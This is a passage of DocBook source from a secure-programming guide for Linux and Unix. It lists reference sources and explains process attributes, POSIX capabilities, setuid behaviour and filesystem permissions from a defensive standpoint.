by  Michael MacMillan
http://www.itworldcanada.com/cw/archive/cw15-17/cw_wtemplate.cfm?filename=c1517n8.htm
 ITworldcanada.com
(interview with  Theo de Raadt,
head of the OpenBSD project, which is focused on security.
The problem with professional programmers is not a lack of ability,
but lack of attention to detail, he said.
...
The secret is straightforward - de Raadt and his peers assume that
every single bug found in the code occurs elsewhere.
de Raadt admits it sounds simple, but just rooting security bugs
out of the entire source tree took 10 full-time developers
one and a half years to complete.
"It?s a hell of a lot of work and I think that explains why it hasn't
been done by many people," he said.  www.openbsd.org.

???: add info about smartcards, e.g., how to code algorithms so the
key won't be exposed by power fluctuations.

-->


<para>
One question I've been asked is ``why did you write this book''?
Here's my answer:
Over the last several years I've noticed that many developers for
Linux and Unix
seem to keep falling into the same security pitfalls, again and again.
Auditors were slowly catching problems, but it would have been better
if the problems weren't put into the code in the first place.
I believe that part of the problem was that there wasn't a single, obvious
place where developers could go and get information on how to avoid
known pitfalls.
The information was publicly available, but it was often hard to find,
out-of-date, incomplete, or had other problems.
Most such information didn't particularly discuss Linux at all, even
though it was becoming widely used!
That leads up to the answer: I developed this book
in the hope that future software developers won't repeat
past mistakes, resulting in an even more secure systems.
You can see a larger discussion of this at
<ulink
url="http://www.linuxsecurity.com/feature_stories/feature_story-6.html">http://www.linuxsecurity.com/feature_stories/feature_story-6.html</ulink>.
</para>

<para>
A related question that could be asked is ``why did you write your own book
instead of just referring to other documents''?
There are several answers:

<itemizedlist>
<listitem>

<para>
Much of this information was scattered about; placing 
the critical information in one organized document
makes it easier to use.
</para>
</listitem>
<listitem>

<para>
Some of this information is not written for the programmer, but
is written for an administrator or user.
</para>
</listitem>
<listitem>

<para>
Much of the available information emphasizes portable constructs
(constructs that work on all Unix-like systems), and
failed to discuss Linux at all.
It's often best to avoid Linux-unique abilities for portability's sake,
but sometimes the Linux-unique abilities can really aid security.
Even if non-Linux portability is desired, you may want to support
the Linux-unique abilities when running on Linux.
And, by emphasizing Linux, I can include references to information that
is helpful to someone targeting Linux that is not necessarily true for
others.
</para>
</listitem>

</itemizedlist>

</para>

</sect1>

<sect1 id="sources-of-guidelines">
<title>Sources of Design and Implementation Guidelines</title>

<para>
Several documents help describe how to write
secure programs (or, alternatively, how to find security problems in
existing programs), and were the basis for the guidelines highlighted
in the rest of this book.
<!-- ???: Add http://securityparadigm.com's "Computer Vulnerabilities" notes -->
<!-- ???: Add http://www.linuxhelp.org/lsap.shtml alternatively
    http://ferret.lmh.ox.ac.uk/~security
    Security-Audit's Frequently Asked Questions
     v 1.9 2000/03/21 01:01:08, Jeff Graham <lsap@demit.net> -->
<!-- I added fish (Dan Farmer's) refs at http://www.fish.com/security -->
<!-- ???  Really need to emphasize the risks of symbolic/hard links, esp.
     shared directories, such as /tmp.  Symbolic links to /dev/zero can
     really do bad things, symbolic links to /etc/passwd is of course
     an ancient attack.  -->
<!-- ??? Mention "terminal" and the possibility of retransmission back -->
<!-- ???: Traverse the Bugtraq archives, CERT advisories,
     MITRE's CVE at http://cve.mitre.org etc.
     to make sure I've covered the important stuff and pull out good
     examples/stories.  -->
<!-- ???: Add info and reference to
  Landwehr 1994.  Landwehr, Carl E., Alan R. Bull, John P. McDermott,
  and William S. Choi.  September 1994.
  A Taxonomy of Computer Program Security Flaws.
  ACM Computing Surveys. Vol. 26, No. 3.
-->

</para>

<para>
For general-purpose servers and setuid/setgid programs, there are a number
of valuable documents (though some are difficult to find without
having a reference to them).
</para>


<para>
Matt Bishop [1996, 1997]
has developed several extremely valuable papers and presentations
on the topic, and in fact he has a web page dedicated to the topic at
<ulink
url="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html</ulink>.
AUSCERT has released a programming checklist
<ulink
url="ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist">[AUSCERT 1996]</ulink>,
based in part on chapter 23 of Garfinkel and Spafford's book discussing how
to write secure SUID and network programs
<ulink
url="http://www.oreilly.com/catalog/puis">[Garfinkel 1996]</ulink>.
<ulink
url="http://www.sunworld.com/swol-04-1998/swol-04-security.html">Galvin [1998a]</ulink> described a simple process and checklist
for developing secure programs; he later updated the checklist in
<ulink
url="http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html">Galvin [1998b]</ulink>.
<ulink
url="http://www.pobox.com/~kragen/security-holes.html">Sitaker [1999]</ulink>
presents a list of issues for the ``Linux security audit'' team to search for.
<ulink
url="http://www.homeport.org/~adam/review.html">Shostack [1999]</ulink>
defines another checklist for reviewing security-sensitive code.
The NCSA
<ulink url="http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming">[NCSA]</ulink>
provides a set of terse but useful secure programming guidelines.
Other useful information sources include the
<emphasis remap="it">Secure Unix Programming FAQ</emphasis>
<ulink
url="http://www.whitefang.com/sup/">[Al-Herbish 1999]</ulink>,
the
<emphasis remap="it">Security-Audit's Frequently Asked Questions</emphasis>
<ulink
url="http://lsap.org/faq.txt">[Graham 1999]</ulink>,
and
<ulink
url="http://www.clark.net/pub/mjr/pubs/pdf/">Ranum [1998]</ulink>.
Some recommendations must be taken with caution, for example,
the BSD setuid(7) man page
<ulink
url="http://www.homeport.org/~adam/setuid.7.html">[Unknown]</ulink>
recommends the use of access(3) without noting the dangerous race conditions
that usually accompany it.
Wood [1985] has some useful but dated advice
in its ``Security for Programmers'' chapter.
<ulink
url="http://www.research.att.com/~smb/talks">Bellovin [1994]</ulink>
includes useful guidelines and some specific examples, such as how to
restructure an ftpd implementation to be simpler and more secure.
<ulink
url="http://www.freebsd.org/security/security.html">FreeBSD [1999]</ulink>
<ulink url="http://developer.gnome.org/doc/guides/programming-guidelines/book1.html">[Quintero 1999]</ulink>
is primarily concerned with GNOME programming guidelines, but it
includes a section on security considerations.
<ulink url="http://www.fish.com/security/murphy.html">[Venema 1996]</ulink>
provides a detailed discussion (with examples) of some common errors
when programming secure prorams (widely-known or predictable passwords,
burning yourself with malicious data, secrets in user-accessible data,
and depending on other programs).
<ulink url="http://www.fish.com/security/maldata.html">[Sibert 1996]</ulink>
describes threats arising from malicious data.
</para>

<para>
There are many documents giving security guidelines for
programs using
the Common Gateway Interface (CGI) to interface with the web.
These include
<!-- ???: Re-examine this one: anything new here? -->
<ulink url="http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec">Van Biesbrouck [1996]</ulink>,
<ulink
url="http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html">Gundavaram [unknown]</ulink>,
<ulink url="http://webreview.com/wr/pub/97/08/08/bookshelf">
[Garfinkle 1997]</ulink>
<ulink
url="http://www.eekim.com/pubs/cgibook">Kim [1996]</ulink>,
<ulink
url="http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt">Phillips [1995]</ulink>,
<ulink
url="http://www.w3.org/Security/Faq/www-security-faq.html">Stein [1999]</ulink>,
<ulink url="http://members.home.net/razvan.peteanu">[Peteanu 2000]</ulink>,
and
<ulink
url="http://advosys.ca/tips/web-security.html">[Advosys 2000]</ulink>.
</para>

<para>
There are many documents specific to a language, which are further
discussed in the language-specific sections of this book.
For example, the Perl distribution includes
<ulink url="http://www.perl.com/pub/doc/manual/html/pod/perlsec.html">
perlsec(1)</ulink>, which describes how to use Perl more securely.
The Secure Internet Programming site at
<ulink url="http://www.cs.princeton.edu/sip">http://www.cs.princeton.edu/sip</ulink>
is interested in computer security issues in general, but focuses on
mobile code systems such as Java, ActiveX, and JavaScript; Ed Felten
(one of its principles) co-wrote a book on securing Java
(<ulink url="www.securingjava.com">[McGraw 1999]</ulink>)
which is discussed in <xref linkend="java">.
Sun's security code guidelines provide some guidelines primarily
for Java and C; it is available at
<ulink url="http://java.sun.com/security/seccodeguide.html">
http://java.sun.com/security/seccodeguide.html</ulink>.
</para>

<para>
Yoder [1998] contains a collection of patterns to be used
when dealing with application security.
It's not really a specific set of guidelines, but a set of commonly-used
patterns for programming that you may find useful.
The Schmoo group maintains a web page linking to information on
how to write secure code at
<ulink url="http://www.shmoo.com/securecode">http://www.shmoo.com/securecode</ulink>.
</para>

<para>
There are many documents describing the issue from
the other direction (i.e., ``how to crack a system'').
One example is McClure [1999], and there's countless amounts of material
from that vantage point on the Internet.
</para>

<para>
There's also a large body of information on vulnerabilities
already identified in existing programs.
This can be a useful set of
examples of ``what not to do,'' though it takes effort to extract more
general guidelines from the large body of specific examples.
There are mailing lists that discuss security issues; one of the most
well-known is
<ulink url="http://SecurityFocus.com/forums/bugtraq/faq.html">
Bugtraq</ulink>, which among other things develops a list of vulnerabilities.
The CERT Coordination Center (CERT/CC)
is a major reporting center for Internet security problems which
reports on vulnerabilities.
The CERT/CC occasionally produces advisories that
provide a description of a serious security problem
and its impact, along with
instructions on how to obtain a patch or details of a workaround; for
more information see
<ulink url="http://www.cert.org">http://www.cert.org</ulink>.
Note that originally the CERT was
a small computer emergency response team, but officially
``CERT'' doesn't stand for anything now.
The Department of Energy's
<ulink url="http://ciac.llnl.gov/ciac">Computer
Incident Advisory Capability (CIAC)</ulink> also reports on vulnerabilities.
<!-- Could reference ntbugtraq and the ones listed in
    http://www.cert.org/other_sources/other_teams.html and the
    various backers of CVE -->
These different groups may identify the same vulnerabilities but use different
names.
To resolve this problem,
MITRE supports the Common Vulnerabilities and Exposures (CVE) list
which creates a single unique identifier (``name'')
for all publicly known vulnerabilities and security exposures
identified by others; see
<ulink url="http://www.cve.mitre.org">http://www.cve.mitre.org</ulink>.
NIST's ICAT
is a searchable catalogue of computer vulnerabilities, taking the
each CVE vulnerability and categorizing them so they can be searched
and compared later; see
<ulink url="http://csrc.nist.gov/icat">http://csrc.nist.gov/icat</ulink>.
</para>


<para>
This book is a summary of what I believe are the most
useful and important guidelines; my goal is a book that
a good programmer can just read and then be fairly well prepared
to implement a secure program.
No single document can really meet this goal, but
I believe the attempt is worthwhile.
My goal is to strike a balance somewhere between a
``complete list of all possible guidelines''
(that would be unending and unreadable)
and the various ``short'' lists available on-line that are nice and short
but omit a large number of critical issues.
When in doubt, I include the guidance; I believe in that case it's better
to make the information
available to everyone in this ``one stop shop'' document.
The organization presented here is my own (every list has its own, different
structure), and some of the guidelines (especially the Linux-unique
ones, such as those on capabilities and the fsuid value) are also my own.
Reading all of the referenced documents listed above as well
is highly recommended.
</para>
</sect1>

<sect1 id="other-sources">
<title>Other Sources of Security Information</title>

<para>
There are a vast number of web sites and mailing lists dedicated to
security issues.
Here are some other sources of security information:
<itemizedlist>
<listitem><para>
<ulink url="http://www.securityfocus.com">Securityfocus.com</ulink>
has a wealth of general security-related news and information, and hosts
a number of security-related mailing lists.
See their website for information on how to subscribe and view their archives.
A few of the most relevant mailing lists on SecurityFocus are:
<itemizedlist>
<listitem><para>
The ``bugtraq'' mailing list is, as noted above,
a ``full disclosure moderated mailing list for the detailed discussion and
announcement of computer security vulnerabilities:
what they are, how to exploit them, and how to fix them.''
</para></listitem>
<listitem><para>
The ``secprog'' mailing list is
a moderated mailing list for the discussion of secure software
development methodologies and techniques.
I specifically monitor this list, and I coordinate with its moderator
to ensure that resolutions reached in SECPROG (if I agree with them)
are incorporated into this document.
</para></listitem>
<listitem><para>
The ``vuln-dev'' mailing list discusses potential or undeveloped holes.
</para></listitem>
</itemizedlist>
</para></listitem>
<listitem><para>
IBM's ``developerWorks: Security'' has a library of interesting articles.
You can learn more from
<ulink url="http://www.ibm.com/developer/security">http://www.ibm.com/developer/security</ulink>.
</para></listitem>
<listitem><para>
For Linux-specific security information, a good source is
<ulink url="http://www.linuxsecurity.com">LinuxSecurity.com</ulink>.
If you're interested in auditing Linux code, places to see include
the <ulink url="http://www.linuxhelp.org/lsap.shtml">Linux
Security-Audit Project FAQ</ulink>
and <ulink url="http://www.lkap.org">Linux Kernel Auditing Project</ulink>
are dedicated to auditing Linux code for security issues.
</para></listitem>
</itemizedlist>
Of course, if you're securing specific systems, you should sign up to
their security mailing lists (e.g., Microsoft's, Red Hat's, etc.)
so you can be warned of any security updates.
</para>


</sect1>

<sect1 id="conventions">
<title>Document Conventions</title>

<para>
System manual pages are referenced in the format <emphasis remap="it">name(number)</emphasis>,
where <emphasis remap="it">number</emphasis> is the section number of the manual.
The pointer value that means ``does not point anywhere'' is called NULL;
C compilers will convert the integer 0 to the value NULL in most circumstances
where a pointer is needed,
but note that nothing in the C standard requires that NULL actually
be implemented by a series of all-zero bits.
C and C++ treat the character '\0' (ASCII 0) specially, and this value
is referred to as NIL in this book (this is usually called ``NUL'',
but ``NUL'' and ``NULL'' sound identical).
Function and method names always use the correct case, even if that means
that some sentences must begin with a lower case letter.
I use the term ``Unix-like'' to mean Unix, Linux, or other systems whose
underlying models are very similar to Unix;
I can't say POSIX, because there are systems such as Windows 2000 that
implement portions of POSIX yet have vastly different security models.
</para>

<para>
An attacker is called an ``attacker'', ``cracker'', or ``adversary''.
Some journalists use the word ``hacker'' instead of ``attacker'';
this book avoids this (mis)use, because many
Linux and Unix developers refer to themselves as ``hackers''
in the traditional non-evil sense of the term.
That is, to many Linux and Unix developers, the term ``hacker'' continues
to mean simply an expert or enthusiast, particularly regarding computers.
</para>

<!-- TRANSLATORS:  FEEL FREE TO OMIT THE FOLLOWING PARAGRAPH
     (OR PORTIONS OF IT) IF IT DOES NOT APPLY TO YOUR LANGUAGE.  -->
<para>
This book uses the ``new'' or ``logical'' quoting system, instead
of the traditional American quoting system: quoted information
does not include any trailing punctuation if the punctuation
is not part of the material being quoted.
While this may cause a minor loss of typographical beauty, the traditional
American system causes extraneous characters to be placed inside the quotes.
These extraneous characters have
no effect on prose but can be disastrous in code or computer commands.
<!-- See http://www.tuxedo.org/~esr/jargon/html/Hacker-Writing-Style.html -->
<!-- I distinguish between the terms privilege and permission in this book;
a process (subject) may acquire privileges, while an object has permissions. -->
I use standard American (not British) spelling; I've yet to meet an
English speaker on any continent who has trouble with this.
</para>

</sect1>

</chapter>

<chapter id="features">
<title>Summary of Linux and Unix Security Features</title>

<epigraph>
<attribution>Proverbs 2:11 (NIV)</attribution>
<para>
Discretion will protect you, and understanding will guard you.
</para>
</epigraph>

<para>
Before discussing guidelines on how to use Linux or Unix security features,
it's useful to know what those features are from a programmer's viewpoint.
This section briefly describes those features that are widely available
on nearly all Unix-like systems.
However, note that there is considerable variation between
different versions of Unix-like systems, and
not all systems have the abilities described here.
This chapter also notes some extensions or features specific to Linux;
Linux distributions tend to be fairly similar to each other from the
point-of-view of programming for security, because they all use essentially
the same kernel and C library (and the GPL-based licenses encourage rapid
dissemination of any innovations).
This chapter doesn't discuss issues such as implementations of
mandatory access control (MAC) which many Unix-like systems do not implement.
If you already know what
those features are, please feel free to skip this section.
</para>

<para>
Many programming guides skim briefly over the security-relevant portions
of Linux or Unix and skip important information.
In particular, they often discuss ``how to use'' something in general terms
but gloss over the security attributes that affect their use.
Conversely, there's a great deal of detailed information in
the manual pages about individual functions, but the manual pages
sometimes obscure key security issues with detailed discussions on how
to use each individual function.
This section tries to bridge that gap; it gives an overview of
the security mechanisms in Linux that are likely to be used
by a programmer, but concentrating specifically on the security
ramifications.
This section has more depth than the typical programming guides, focusing
specifically on security-related matters, and points to references
where you can get more details.
</para>

<para>
First, the basics.
Linux and Unix are
fundamentally divided into two parts: the kernel and ``user space''.
Most programs execute in user space (on top of the kernel).
Linux supports the concept of ``kernel modules'', which is simply the
ability to dynamically load code into the kernel, but note that it
still has this fundamental division.
Some other systems (such as the HURD) are ``microkernel'' based systems; they
have a small kernel with more limited functionality, and a set of ``user''
programs that implement the lower-level functions traditionally implemented
by the kernel.
</para>

<para>
Some Unix-like systems have been extensively modified to support
strong security, in particular to support U.S. Department of Defense
requirements for Mandatory Access Control (level B1 or higher).
This version of this book doesn't cover these systems or issues;
I hope to expand to that in a future version.
<!-- ???: Mention trusted Unix-like systems, MAC, ACLs, Trusted Solaris -->
</para>

<para>
When users log in, their usernames are mapped to integers marking their
``UID'' (for ``user id'') and the ``GID''s (for ``group id'') that they
are a member of.
UID 0 is a special privileged user (role) traditionally called ``root'';
on most Unix-like systems (including Unix) root
can overrule most security checks and is used to administrate the system.
Processes are the only ``subjects'' in terms of security (that is, only
processes are active objects).
Processes can access various data objects, in particular filesystem
objects (FSOs), System V Interprocess Communication (IPC) objects, and
network ports.
Processes can also set signals.
Other security-relevant topics include quotas and limits, libraries,
auditing, and PAM.
The next few subsections detail this.
</para>

<sect1 id="processes">
<title>Processes</title>

<para>
In Unix-like systems,
user-level activities are implemented by running processes.
Most Unix systems support a ``thread'' as a separate concept;
threads share memory inside a process, and the system scheduler actually
schedules threads.
Linux does this differently (and in my opinion uses a better approach):
there is no essential difference between a thread and a process.
Instead, in Linux, when a process creates another process it can choose
what resources are shared (e.g., memory can be shared).
The Linux kernel then performs optimizations to get thread-level speeds;
see clone(2) for more information.
It's worth noting that the Linux kernel developers tend to use the
word ``task'', not ``thread'' or ``process'', but the external
documentation tends to use the word process
(so I'll use the term ``process'' here).
When programming a multi-threaded application,
it's usually better to use one of the standard
thread libraries that hide these differences.
Not only does this make threading more portable, but some libraries
provide an additional level of indirection, by implementing more than
one application-level thread as a single operating system thread;
this can provide some improved performance on some systems for
some applications.
</para>

<sect2 id="process-attributes">
<title>Process Attributes</title>

<para>
Here are typical attributes associated with each process in a
Unix-like system:

<itemizedlist>
<listitem>

<para>
RUID, RGID - real UID and GID
of the user on whose behalf the process is running
</para>
</listitem>
<listitem>

<para>
EUID, EGID - effective UID and GID
used for privilege checks (except for the filesystem)
</para>
</listitem>
<listitem>

<para>
SUID, SGID - Saved UID and GID;
used to support switching permissions ``on and off'' as discussed below.
Not all Unix-like systems support this.
</para>
</listitem>
<listitem>

<para>
supplemental groups - a list of groups (GIDs) in which this
user has membership.
</para>
</listitem>
<listitem>

<para>
umask - a set of bits determining the default access control settings
when a new filesystem object is created; see umask(2).
</para>
</listitem>
<listitem>

<para>
scheduling parameters - each process has a scheduling policy, and those
with the default policy SCHED&lowbar;OTHER have the additional parameters
nice, priority, and counter.  See sched&lowbar;setscheduler(2) for more information.
</para>
</listitem>
<listitem>

<para>
limits - per-process resource limits (see below).
</para>
</listitem>
<listitem>

<para>
filesystem root - the process' idea of where the root filesystem
begins; see chroot(2).
</para>
</listitem>

</itemizedlist>

</para>

<para>
Here are less-common attributes associated with processes:

<itemizedlist>
<listitem>

<para>
FSUID, FSGID - UID and GID used for filesystem access checks;
this is usually equal to the EUID and EGID respectively.
This is a Linux-unique attribute.
</para>
</listitem>
<listitem>

<para>
capabilities - POSIX capability information; there are actually three
sets of capabilities on a process: the effective, inheritable, and permitted
capabilities.  See below for more information on POSIX capabilities.
Linux kernel version 2.2 and greater support this; some other Unix-like
systems do too, but it's not as widespread.
</para>
</listitem>

</itemizedlist>

</para>

<para>
In Linux,
if you really need to know exactly what attributes are associated
with each process, the most definitive source is the
Linux source code, in particular
<filename>/usr/include/linux/sched.h</filename>'s definition of task&lowbar;struct.
</para>

<para>
The portable way to create new processes it use the fork(2) call.
BSD introduced a variant called vfork(2) as an optimization technique.
The bottom line with vfork(2) is simple: <emphasis remap="it">don't</emphasis> use it if you
can avoid it.
See <xref linkend="avoid-vfork"> for more information.
</para>

<para>
Linux supports the Linux-unique clone(2) call.
This call works like fork(2), but allows specification of which resources
should be shared (e.g., memory, file descriptors, etc.).
Portable programs shouldn't use this call directly; as noted earlier,
they should instead rely on threading libraries that use the call to implement
threads.
</para>

<para>
This book is not a full tutorial on writing programs, so
I will skip widely-available information handling processes.
You can see the documentation for wait(2), exit(2), and so on for more
information.
</para>

</sect2>

<sect2 id="posix-capabilities">
<title>POSIX Capabilities</title>

<para>
POSIX capabilities are sets of bits that permit splitting of the privileges
typically held by root into a larger set of more specific privileges.
POSIX capabilities are defined
by a draft IEEE standard; they're not unique to Linux but they're not
universally supported by other Unix-like systems either.
Linux kernel 2.0 did not support POSIX capabilities, while version 2.2
added support for POSIX capabilities to processes.
When Linux documentation (including this one)
says ``requires root privilege'', in nearly all cases it
really means ``requires a capability'' as documented in the capability
documentation.
If you need to know the specific capability required, look it up in the
capability documentation.
</para>

<para>
In Linux,
the eventual intent is to permit capabilities to be attached to files
in the filesystem; as of this writing, however, this is not yet supported.
There is support for transferring capabilities, but this is disabled
by default.
Linux version 2.2.11 added a feature that makes capabilities
more directly useful, called the ``capability bounding set''.
The capability bounding set is a list of capabilities
that are allowed to be held by any process on the system (otherwise,
only the special init process can hold it).
If a capability does not appear in the bounding set, it may not be
exercised by any process, no matter how privileged. 
This feature can be used to, for example, disable kernel module loading.
A sample tool that takes advantage of this is LCAP at
<ulink
url="http://pweb.netcom.com/~spoon/lcap/">http://pweb.netcom.com/~spoon/lcap/</ulink>.
</para>

<para>
More information about POSIX capabilities is available at
<ulink
url="ftp://linux.kernel.org/pub/linux/libs/security/linux-privs">ftp://linux.kernel.org/pub/linux/libs/security/linux-privs</ulink>.
</para>

</sect2>

<sect2 id="process-creation">
<title>Process Creation and Manipulation</title>

<para>
Processes may be created using fork(2), the non-recommended vfork(2),
or the Linux-unique clone(2); all of these system calls duplicate the existing
process, creating two processes out of it.
A process can execute a different program by calling execve(2),
or various front-ends to it (for example, see exec(3), system(3), and popen(3)).
</para>

<para>
<!-- I've known about the scripting race condition since forever, but the
     description here is vaguely derived from perlsec(1) -->
When a program is executed, and its file has its setuid or setgid bit set,
the process' EUID or EGID (respectively) is usually set to the file's value.
This functionality was the source of an old Unix security weakness
when used to support setuid or setgid scripts, due to a race condition.
Between the time the kernel opens the file to see which interpreter to run,
and when the (now-set-id) interpreter turns around and reopens
the file to interpret it, an attacker might change the file
(directly or via symbolic links).
</para>

<para>
Different Unix-like systems handle the security issue for setuid scripts
in different ways.
Some systems, such as Linux, completely ignore the setuid and setgid
bits when executing scripts, which is clearly a safe approach.
Most modern releases of SysVr4 and BSD 4.4 use a different approach to
avoid the kernel race condition.
On these systems, when the kernel passes
the name of the set-id script to open to the interpreter,
rather than using a pathname (which would permit the race condition)
it instead passes the filename /dev/fd/3.  This is a special
file already opened on the script, so that there can be no
race condition for attackers to exploit.
Even on these systems I recommend against using the setuid/setgid
shell scripts language for secure programs, as discussed below.
</para>


<para>
In some cases a process can affect the various UID and GID values; see
setuid(2), seteuid(2), setreuid(2), and the Linux-unique setfsuid(2).
In particular the saved user id (SUID) attribute
is there to permit trusted programs to temporarily switch UIDs.
Unix-like systems supporting the SUID use the following rules:
If the RUID is changed, or the EUID is set to a value not equal to the RUID,
the SUID is set to the new EUID.
Unprivileged users can set their EUID from their SUID,
the RUID to the EUID, and the EUID to the RUID.
</para>

<para>
The Linux-unique
FSUID process attribute is intended to permit programs like the NFS server
to limit themselves to only the filesystem rights of some given UID
without giving that UID permission to send signals to the process.
Whenever the EUID is changed, the FSUID is changed to the new
EUID value; the FSUID value can be set separately using setfsuid(2), a
Linux-unique call.
Note that non-root callers can only set FSUID to the current
RUID, EUID, SEUID, or current FSUID values.
</para>

</sect2>

</sect1>

<sect1 id="files">
<title>Files</title>

<para>
On all Unix-like systems, the primary repository of information is
the file tree, rooted at ``/''.
The file tree is a hierarchical set of directories, each of which
may contain filesystem objects (FSOs).
</para>

<para>
In Linux,
filesystem objects (FSOs) may be ordinary files, directories,
symbolic links, named pipes (also called first-in first-outs or FIFOs),
sockets (see below),
character special (device) files, or block special (device) files
(in Linux, this list is given in the find(1) command).
Other Unix-like systems have an identical or similar list of FSO types.
</para>

<para>
Filesystem objects are collected on filesystems, which can be
mounted and unmounted on directories in the file tree.
A filesystem type (e.g., ext2 and FAT) is a specific set of conventions
for arranging data on the disk to optimize speed, reliability, and so on;
many people use the term ``filesystem'' as a synonym for the filesystem type.
</para>

<sect2 id="fso-attributes">
<title>Filesystem Object Attributes</title>

<para>
Different Unix-like systems support different filesystem types.
Filesystems may have slightly different sets of access control attributes
and access controls can be affected by options selected at mount time.
On Linux, the ext2 filesystems is currently the most popular filesystem,
but Linux supports a vast number of filesystems.
Most Unix-like systems tend to support multiple filesystems too.
</para>

<para>
Most filesystems on Unix-like systems store at least the following:

<itemizedlist>
<listitem>

<para>
owning UID and GID - identifies the ``owner'' of the filesystem
object.  Only the owner or root can change the access control attributes
unless otherwise noted.
</para>
</listitem>
<listitem>

<para>
permission bits -
read, write, execute bits for each of user (owner), group, and other.
For ordinary files, read, write, and execute have their typical meanings.
In directories, the ``read'' permission is necessary to display a directory's
contents, while the ``execute'' permission is sometimes called ``search''
permission and is necessary to actually enter the directory to use its contents.
In a directory ``write'' permission on a directory permits
adding, removing, and renaming files in that directory; if you only want
to permit adding, set the sticky bit noted below.
Note that the permission values of symbolic links are never used; it's only
the values of their containing directories and the linked-to file that matter.
</para>
</listitem>
<listitem>

<para>
``sticky'' bit - when set on a directory, unlinks (removes) and
renames of files in that directory are limited to
the file owner, the directory owner, or root privileges.
This is a very common Unix extension
and is specified in the
Open Group's Single Unix Specification version 2.
<!-- http://www.opengroup.org/onlinepubs/007908799/xsh/chmod.html -->
Old versions of Unix called this the ``save program text'' bit and used this
to indicate executable files that should stay in memory.
Systems that did this ensured that only root could set this bit
(otherwise users could have crashed systems by forcing ``everything''
into memory).
In Linux, this bit has no affect on ordinary files and ordinary users
can modify this bit on the files they own:
Linux's virtual memory management makes this old use irrelevant.
</para>
</listitem>
<listitem>

<para>
setuid, setgid - when set on an executable file,
executing the file will set the process' effective UID or effective GID
to the value of the file's owning UID or GID (respectively).
All Unix-like systems support this.
In Linux and System V systems,
when setgid is set on a file that does not have any execute privileges,
this indicates a file that is subject to mandatory locking
during access (if the filesystem is mounted to support mandatory locking);
this overload of meaning surprises many and is not universal across Unix-like
systems.
In fact, the Open Group's Single Unix Specification version 2 for chmod(3)
permits systems to ignore
requests to turn on setgid for files that aren't executable if such
a setting has no meaning.
In Linux and Solaris,
when setgid is set on a directory, files created in the directory will
have their GID automatically reset to that of the directory's GID.
The purpose of this approach is to support ``project directories'':
users can save files into such specially-set directories and the group
owner automatically changes.
However, setting the setgid bit on directories is not specified by
standards such as the Single Unix Specification
[Open Group 1997].
</para>
</listitem>
<listitem>

<para>
timestamps - access and modification times are stored for each
filesystem object.  However, the owner is allowed to set these values
arbitrarily (see touch(1)), so be careful about trusting this information.
All Unix-like systems support this.
</para>
</listitem>

</itemizedlist>

</para>

<para>
The following are attributes are Linux-unique extensions on the ext2
filesystem, though many other filesystems have similar functionality:

<itemizedlist>
<listitem>

<para>
immutable bit - no changes to the filesystem object are allowed;
only root can set or clear this bit.
This is only supported by ext2 and is not portable across all Unix
systems (or even all Linux filesystems).
</para>
</listitem>
<listitem>

<para>
append-only bit - only appending to the filesystem object are allowed;
only root can set or clear this bit.
This is only supported by ext2 and is not portable across all Unix
systems (or even all Linux filesystems).
</para>
</listitem>

</itemizedlist>

</para>

<para>
Other common extensions include some sort of bit indicating ``cannot
delete this file''.
</para>

<para>
Many of these values can be influenced at mount time, so that, for example,
certain bits can be treated as though they had a certain value (regardless
of their values on the media).
See mount(1) for more information about this.
Some filesystems don't support some of these access control values; again,
see mount(1) for how these filesystems are handled.
In particular, many Unix-like systems support MS-DOS disks, which by
default support very few of these attributes (and there's not standard
way to define these attributes).
In that case, Unix-like systems emulate the standard attributes
(possibly implementing them through special on-disk files), and these
attributes are generally influenced by the mount(1) command.
</para>

<para>
It's important to note that, for adding and removing files, only the
permission bits and owner of the file's <emphasis>directory</emphasis>
really matter unless the Unix-like system supports
more complex schemes (such as POSIX ACLs).
Unless the system has other extensions, and stock Linux 2.2 doesn't,
a file that has no permissions in its permission bits
can still be removed if its containing directory permits it.
Also, if an ancestor directory permits its children to be changed by some
user or group, then any of that directory's descendents can be replaced by
that user or group.
</para>

<para>
The draft IEEE POSIX standard on security defines a technique for
true ACLs that support a list of users and groups with their permissions.
Unfortunately, this is not widely supported nor supported exactly the
same way across Unix-like systems.
Stock Linux 2.2, for example, has neither ACLs nor POSIX capability
values in the filesystem.
</para>

<para>
It's worth noting that in Linux, the Linux ext2
filesystem by default reserves a small amount of space for the root user.
This is a partial defense against denial-of-service attacks; even if a user
fills a disk that is shared with the root user, the root user has a little
space left over (e.g., for critical functions).
The default is 5&percnt; of the filesystem space; see mke2fs(8),
in particular its ``-m'' option.
</para>

</sect2>

<sect2 id="fso-initial-values">
<title>Creation Time Initial Values</title>

<para>
At creation time, the following rules apply.
On most Unix systems, when a new filesystem object is created via creat(2)
or open(2), the FSO UID is set to the process' EUID and the FSO's GID is
set to the process' EGID.
Linux works slightly differently due to its FSUID
extensions; the FSO's UID is set to the process' FSUID, and the FSO GID
is set to the process' FSGUID; if the
containing directory's setgid bit is set or the filesystem's
``GRPID'' flag is set, the FSO GID is actually set to the
GID of the containing directory.
Many systems, including Sun Solaris and Linux, also support the
setgid directory extensions.
As noted earlier,
this special case supports ``project'' directories: to make a ``project''
directory, create a special group for the project,
create a directory for the project owned by that group, then make the
directory setgid: files placed there
are automatically owned by the project.
Similarly, if a new subdirectory is created inside a directory with the
setgid bit set (and the filesystem GRPID isn't set), the new subdirectory
will also have its setgid bit set (so that project subdirectories will
``do the right thing''.); in all other cases the setgid is clear for a new file.
This is the rationale for Red Hat Linux's ``user-private group'' scheme,
in which
every user is a member of a ``private'' group with just them as members,
so their defaults can permit the group to read and write any file
(since they're the only member of the group).
Thus, when the file's group membership
is transferred this way, read and write privileges
are transferred too.
<!-- http://www.redhat.com/support/manuals/RHL-6.2-Manual/ref-guide/s1-sysadmin-usr-grps.html -->
FSO basic access control values (read, write, execute) are computed from
(requested values &amp; ~ umask of process).
New files always start with a clear sticky bit and clear setuid bit.
</para>

</sect2>

<sect2 id="changing-acls">
<title>Changing Access Control Attributes</title>

<para>
You can set most of these values with chmod(2), fchmod(2), or chmod(1)
but see also chown(1), and chgrp(1).
In Linux, some the Linux-unique attributes are manipulated using chattr(1).
